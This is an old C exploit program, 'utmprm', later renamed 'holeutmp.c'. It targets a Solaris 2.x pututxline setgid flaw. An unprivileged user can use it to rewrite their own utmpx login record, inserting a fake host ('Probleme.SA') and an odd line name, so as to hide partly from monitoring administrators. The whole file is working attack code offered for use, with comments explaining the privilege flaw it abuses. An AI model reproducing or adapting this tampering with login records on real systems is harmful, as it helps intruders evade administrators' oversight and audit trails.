/* * utmprm (version 1.0) * renamed to holeutmp.c (version 1.0) * * Copyright, 1994, 1995 by Scott Chasin (chasin@crimelab.com) * Modified by Hendrik Visage (hendrik@jupiter.cs.up.ac.za) to exploit a pututxline SETGID problem * * This material is copyrighted by Scott Chasin, 1994, 1995. The * usual standard disclaimer applies, especially the fact that the * author is not liable for any damages caused by direct or indirect * use of the information or functionality provided by this program. */ /* utmprm takes advantage of a Solaris 2.x utmpx system call that * allows any user to remove themselves from the corresponding * utmp files and partly out of the eyes of monitoring admins. */ #include #include #include char *strchr(), *strdup(), *ttyname(), *getlogin(); main (argc, argv) int argc; char **argv; { uid_t ruid, getuid(); char *ttyn, *tty, *username; struct passwd *pwd; /* Grab our ttyname */ ttyn = ttyname(0); if (ttyn == NULL || *ttyn == '\0') { fprintf (stderr, "utmprm: where are you?\n"); exit (1); } if (tty = strchr (ttyn + 1, '/')) ++tty; else tty = ttyn; /* Grab our login name */ ruid = getuid (); username = getlogin (); if (username == NULL || (pwd = getpwnam (username)) == NULL || pwd->pw_uid != ruid) pwd = getpwuid (ruid); if (pwd == NULL) { fprintf (stderr, "utmprm: who are you?\n"); exit (1); } username = strdup (pwd->pw_name); utmpx_delete (username, tty); } utmpx_delete (user, line) char *user; char *line; { struct utmpx utx; struct utmpx *ut; /* Let's build a utmpx structure that looks like * our entries profile. */ strncpy (utx.ut_line, line, sizeof (utx.ut_line)); strncpy (utx.ut_user, user, sizeof (utx.ut_user)); /* We use getutxline to search /var/adm/utmpx for our * entry. */ if ((ut = getutxline (&utx)) == 0) printf ("utmprm: entry not found for %s (%s)\n", user, line); else { /* Since we doesn't want to remove the entry, all the DEAD_PROCESS related stuff isn't needed ut->ut_type = DEAD_PROCESS; ut->ut_exit.e_termination = 0; ut->ut_exit.e_exit = 0; */ gettimeofday (&(ut->ut_tv), 0); ut->ut_type = USER_PROCESS; strcpy(&(ut->ut_host),"Probleme.SA"); ut->ut_syslen=strlen(ut->ut_host); strcpy(&(ut->ut_line),"|"); /* Using pututxline as a normal user, we take advantage * of the fact that it calls a setuid system call to * modify the utmpx entry we just build. The only check * that pututxline has is that the login name in the utmpx * entry must match that of the caller's and that the * utmpx device entry is a real device writable by the * caller. */ pututxline (ut); printf ("utmprm: %s (%s) modified with exit code %d.\n", user, line,pututxline (ut)); } endutxent (); }